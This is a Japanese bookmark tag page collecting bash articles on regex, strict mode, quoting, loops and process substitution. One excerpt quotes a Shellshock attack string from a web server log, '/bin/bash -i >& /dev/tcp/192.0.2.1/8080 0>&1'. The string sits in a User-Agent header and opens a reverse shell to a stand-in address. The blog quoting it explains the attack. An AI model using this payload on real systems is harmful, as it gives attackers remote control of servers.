タグ

bashに関するiwwのブックマーク (275)

  • bashの正規表現でスペース(空白)を判定する方法

    bashの正規表現でスペース(空白)を判定する方法を紹介します。 1.問題点 bashで、下記のようなスペース(空白)を含む文字列を判定したいのですが、方法がわかりません。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'a{3} b{3} c{3}' ]]; then echo "yes" else echo "no" fi 実行結果 no ちなみに単純な文字列であればマッチするようです。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'aaa bbb' ]]; then echo "yes" else echo "no" fi 実行結果 yes ということで、bashの正規表現でスペースを判定する方法を紹介します。 2.bashの正規表現でスペースを判定する 正規表現でスペースを判定するには、スペースを

    bashの正規表現でスペース(空白)を判定する方法
  • bash スクリプトの実行中上書き動作について

    を設定してから再度試した所 bar が表示された。backupcopy は編集中のファイルによって自動で判別する auto がデフォルトになっている為、試す際には明示的に yes に設定しないといけない。 bash の実装確認 evalstring.c の parse_and_execute でコマンドが処理されており、input.c の with_input_from_buffered_stream で読み込みの準備が行われている。バッファの読み込みの体は y.tab.c つまりパーサから直接呼ばれており、このパーサは fgets(3) で読み込まれつつ実行される為、一括でファイルが読み込まれている訳ではない。 while/do でループ実行した際に、ファイルを書き換えられたら戻り先はどうなるか、についてはスクリプトはバッファ付きで読み込まれており、そのバッファがファイルシステムから読

    bash スクリプトの実行中上書き動作について
    iww
    iww 2021/12/29
    ファイルが逐次読まれるだけなので、cp前に削除すれば問題ないのね
  • Lustre ファイルシステムのファイル消失について | 日本ヒューレット・パッカード合同会社

    iww
    iww 2021/12/29
    こんな仕様知らんかった。 こっわ
  • シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の本当の理由を知ると優れた文法が見えてくる - Qiita

    シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の当の理由を知ると優れた文法が見えてくるShellScriptBashUNIXshellPOSIX はじめに シェルスクリプトの変数代入で = の前後にスペースを置くことができない理由は、検索すれば「プログラマーの君! 勘違いするな! シェルスクリプトでは読みやすさのためにスペースを置くな!! という話」のような記事がすぐに見つかります。記事に書いてあるとおり変数代入とコマンド呼び出しと区別がつかないからです。それは間違いではないんですが、私はもう少し説明が足りないと感じています。そこで今回は = の前後にスペースを置けない当の理由を解説したいと思います。 の前に皆さんにはこの話を読みながら、自分がシェルスクリプトの言語設計者だったとしたら、どういう言語仕様にするかを考えて欲しいです。なぜかと言うとシェルスクリプトの文

    シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の本当の理由を知ると優れた文法が見えてくる - Qiita
    iww
    iww 2021/11/10
    『シェルスクリプトの言語は他のプログラミング言語がまったく考慮していない使い方を考慮して設計されています。それは人間がシェル上で直接入力して実行するという使い方です。』
  • bash スクリプトの先頭によく書く記述のおさらい - Money Forward Developers Blog

    こんにちは。 マネーフォワードでアグリゲーション開発を担当しています中川です。 今回のブログは、私が bash スクリプトを書く際に心がけている事のおさらいをします。 知ってて当たり前のことかも知れませんが、意外と理解されていないアレです。 では、私が bash スクリプトを書く際によく使う記述を一つずつ紹介します。 2種類の shebang シェルスクリプトの一行目に必ず記述する #! で始まる行を shebang と言います。 bash スクリプトの shebang は、bash を絶対パスで指定する方法と、env を使って指定する方法の二種類あります。 bash を絶対パスを指定する方法 #!/bin/bash env を使ってを指定する方法 #!/usr/bin/env bash 前者は /bin/bash が使われます。 (/bin/bash が存在しなければスクリプトの起動時に

    bash スクリプトの先頭によく書く記述のおさらい - Money Forward Developers Blog
    iww
    iww 2021/05/20
  • bashで複数行の変数をそのまま表示する | クロジカ

    ホーム / ハック / bashで複数行の変数をそのまま表示する

    bashで複数行の変数をそのまま表示する | クロジカ
    iww
    iww 2021/03/24
  • Bash Strict Mode

    Use Bash Strict Mode (Unless You Love Debugging) Let's start with the punchline. Your bash scripts will be more robust, reliable and maintainable if you start them like this: I call this the unofficial bash strict mode. This causes bash to behave in a way that makes many classes of subtle bugs impossible. You'll spend much less time debugging, and also avoid having unexpected complications in prod

    iww
    iww 2021/02/18
    「set -euo pipefail」「IFS=$'\n\t'」 なるほど 便利そう
  • Github Actionsでyesコマンドを使いたい時は代わりにecho yするといい - The Third Law

    こんばんは、id:maku693です。 タイトルでほぼ全部説明しましたが、Github Actionsでちょっとハマりました。 Github Actionsのワークフローでは工夫しないとyesコマンドを使えないので、代わりにecho yを使うと手っ取り早いです。 これに気づいたのは、[y/N]どちらかの入力を待つことで処理を続行していいか聞いてくるプログラムをワークフロー中で使いたかったので、yesコマンドを使ってyを入力させようとしたところ、yes: standard output: Broken pipeというエラーが出て正常にワークフローが終了しなかったためです。 手元 (macOS) で実行してもエラーにならないので不思議に思って調べてみると、bashにpipefailオプションが指定されている*1のと、yesコマンドがSIGPIPEを受け取って終了する前提で使われているのが原因で

    Github Actionsでyesコマンドを使いたい時は代わりにecho yするといい - The Third Law
    iww
    iww 2021/01/09
    『yesコマンドを使ってyを入力させようとしたところ、yes: standard output: Broken pipeというエラーが出て正常にワークフローが終了しなかった』 そうなのか。 面白い
  • [Bash] クォートの種類と変数への格納 - Qiita

    この世には、引用符(クォート、クォーテーション)には種類があり、Bashの世界ではその意味が異なります。 その問題にぶち当たったので、少し記事にしてみようと思います。 ことの発端 pecoを使ってbash_historyから履歴を漁るコマンドを改良していた時、どうしてもエスケープが必要だったのでJavaのお仕事で培ったシングルクォートとダブルクォートを両方使うという荒業をしたところ巧く動作しなかったのが発端です。 私は土日を挟むと金曜日以前のことが思い出せない病気を患っているので、処理毎に関数や変数にまとめて名前を付けるクセがあります。 また、コメントは冗長と思っていて、メンテする気が失せるのでドキュメントコメントしか書きません。 sedコマンドはうまくエスケープできたのですが、(うまく実行できたとは言っていない) awkコマンドをダブルクォートでエスケープすると、vimのハイライトがおか

    [Bash] クォートの種類と変数への格納 - Qiita
    iww
    iww 2021/01/07
    『私は視力が悪くて、バッククォートのネストどころか、シングルクォートとの違いが見えないので、$(command)書式を使います。』
  • [rlwrap] 任意のシェルコマンドを対話モード化する [作り直した] - Qiita

    似たようなタイトルの記事を書いてすまなんだ 今北産業 これ作った↓ ウンコードだったから作り直した rlwrapくん偉いぞ rlwrapってなんぞや readline(ターミナルの標準入力的なやつ)をラップするやつ。 名前も r(ead)l(ine)wrap からきてると思う readlineはアローキーを押したときの挙動がしょぼい。そういう悲しみを解消してくれるコマンド rlwrapをつかわないとこうなる▼ (↑↓←→↑の順で押してます) rlwrapを使ってみる sqlplusもその悲しみを背負ったコマンドらしいので、sqlplusに対してrlwrapが使われてるらしい(知らなかった)。 要するに、 ってするらしい。sqlplusを使う人はだいたい.zshrcあたりに alias sqlplus="rlwrap sqlplus"なんてしてるらしいよ 題 前に書いた これ http:/

    [rlwrap] 任意のシェルコマンドを対話モード化する [作り直した] - Qiita
  • bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ

    vpsのhttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1(/dev/tcp の後は/ipアドレス/port 上のは適当な例) /dev/tcp ? こいつは何がしたい? "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" /bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt"

    bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ
    iww
    iww 2020/10/15
    便利そう
  • とほほのBash入門 - とほほのWWW入門

    sh : Bourne Shell とも呼ばれます。ベル研のスティーブン・ボーン氏が開発。最も基的な機能を備えています。 csh : C Shell と呼ばれます。カリフォルニア大学バークレー校のビル・ジョイ氏が開発。C言語ライクな機能を強化しています。 tcsh : csh をさらに改良したものです。bash が出るまではかなり広く使用されていました。 ksh : sh を改良したものです。ベル研のデビット・コーン氏が開発。csh の機能も一部取り入れています。 bash : Bourne-Again Shell。sh を大幅に強化。現時点では最も広く使用されています。 zsh : 最も高機能なシェル。bash, tcsh, ksh などの機能を多く取り込んでいます。 以降では、現時点で最も利用されている bash に絞って説明していきます。動作確認は bash 4.2 で行っています

    iww
    iww 2020/10/12
    『"$@" は "$1" "$2" "$3" ... とみなされます。』
  • 『bash のbreak、continue、return、exit』

    bash のbreak、continue、return、exit | Cyber Thunderのブログ ■break、continue、return、exit せ> type break break is a shell builtin せ> type continue continue is a shell builtin せ> type return return is a shell builtin ■bashにgotoやjumpのようなコマンドはない せ> type goto -bash: type: goto: not found せ> type jump -bash: type: jump: not found ■continue文はfor、while、またはuntilループで次の繰り返しに飛ぶコマンド。 ・ifブロックやcaseブロックから途中で抜けるコマンドはない。 ・ラ

    『bash のbreak、continue、return、exit』
    iww
    iww 2020/10/12
    『break文はfor、while、またはuntilループを途中で抜けるコマンド。 ・ifブロックやcaseブロックから途中で抜けるコマンドはない。』
  • The process substitution output is out of the order

    iww
    iww 2020/09/14
    process substitution で呼び出し元が先に終了しちゃう問題。 括弧を駆使すれば回避できそうだけどごちゃごちゃしすぎて多分バグりそう
  • bashのfor文のまとめ

    bashのfor文のまとめです。 ネットで調べたところ、ケース別ですぐに使えそうなサンプルが並んでいるものがなかったので、このエントリーでまとめてみました。 認識違いがありましたどこかでつぶやいてください。 なお、サンプルでは変数のカーリーブレースやダブルクォーテーションは省略しています。適宜付与してください。 1.フォーマット bashのfor文のフォーマットは for 繰り返し条件 do # ... done となっています。 次のフォーマットでも書けます(以降、このフォーマットで解説)。 for 繰り返し条件; do # ... done 2.初期値・ループ条件・ループ時の処理で指定する 繰り返し条件の部分は一般的なfor文のお作法(初期値、ループ条件、ループ時の処理)が利用できます。 for ((初期値; ループ条件; ループ時の処理)); do # ... done サンプル m

    bashのfor文のまとめ
    iww
    iww 2020/08/26
    for ((i=0; i<10; i++)); do echo $i; done は知らなかった
  • Process Substitutionとexec redirectで画面出力を加工するときの問題点と解決、そして無限に寝る話 - Qiita

    Process Substitutionとexec redirectで画面出力を加工するときの問題点と解決、そして無限に寝る話ShellScriptBash // すんごく久々に日語長文書いたらなん文体が変……。 はじめに1: Process Substitutionの話 bashにはProcess Substitution(プロセス置換)という機能がある。 簡単にいうと、子プロセスを起動して、その入出力をパイプで繋げられる機能。 タダのパイプと何が違うの?というと、例えば複数のコマンドを繋ぎたいときに便利。 例えば二つのコマンドの結果のdiffを見たいとき、パイプだと1つのプロセスの出力しか繋げないので、一時ファイルや名前付きパイプのお世話になる。

    Process Substitutionとexec redirectで画面出力を加工するときの問題点と解決、そして無限に寝る話 - Qiita
    iww
    iww 2020/08/25
    waitで普通に待てたけど、何が違ったんだろうか
  • Redirect stderr and stdout in Bash

    iww
    iww 2020/08/25
    標準出力を閉じるのは exec 1<&-
  • How to count number of words from String using shell

    iww
    iww 2020/08/24
    配列の要素数は ${#array[@]}
  • シェルスクリプトでIPアドレスの計算 | Folioscope

    IPAM や DHCP サーバーを実装するとき、IP アドレスを機械的に生成するために、IP アドレスの計算をする事があります。 例えば IPAM がラックやデータセンターから機械的に IP アドレスを割り当てたり、DHCP サーバーが連番の IP アドレスを割り当てたりします。 この記事ではシェルスクリプトで IP アドレスを計算する方法を紹介します。 IP アドレスと数値の変換 IP アドレスを計算する上で欠かせない操作が、IP アドレスと数値の相互変換です。 IPv4 アドレスは長さ 4 のバイト列に過ぎませんが、通常は192.168.0.1 のように人間の扱いやすい文字列で表現します。 一方 IP アドレスを計算するには、IP アドレスをバイト列や 32 ビット数値などの、計算機で扱いやすい形に変換します。 IP アドレスを数値として扱えると、数値演算で IP アドレスを計算したり

  • bash の select は令和の時代も役に立つ, その一例 - ようへいの日々精進XP

    tl;dr man bash 例 若干の Kubernetes クラスタを選択したい Kubernetes Pod を選択したい 以上 tl;dr ホントにちょっとした運用ツールを bash で作っていて, 複数の選択肢をリストアップしてメニューとして選択出来るようにしたいなーと思っていたら, bash には select 文という超絶便利な構文が用意されていたので使ってみました. man bash https://linuxjm.osdn.jp/html/GNU_bash/man1/bash.1.html より引用させて頂きつつ, 重要だなと思ったところをかいつまんで. select name [ in word ] ; do list ; done in に続く単語のリストが展開され、要素のリストが生成されます。 展開された単語の集合が番号付きで標準エラー出力に出力されます。 「in

    bash の select は令和の時代も役に立つ, その一例 - ようへいの日々精進XP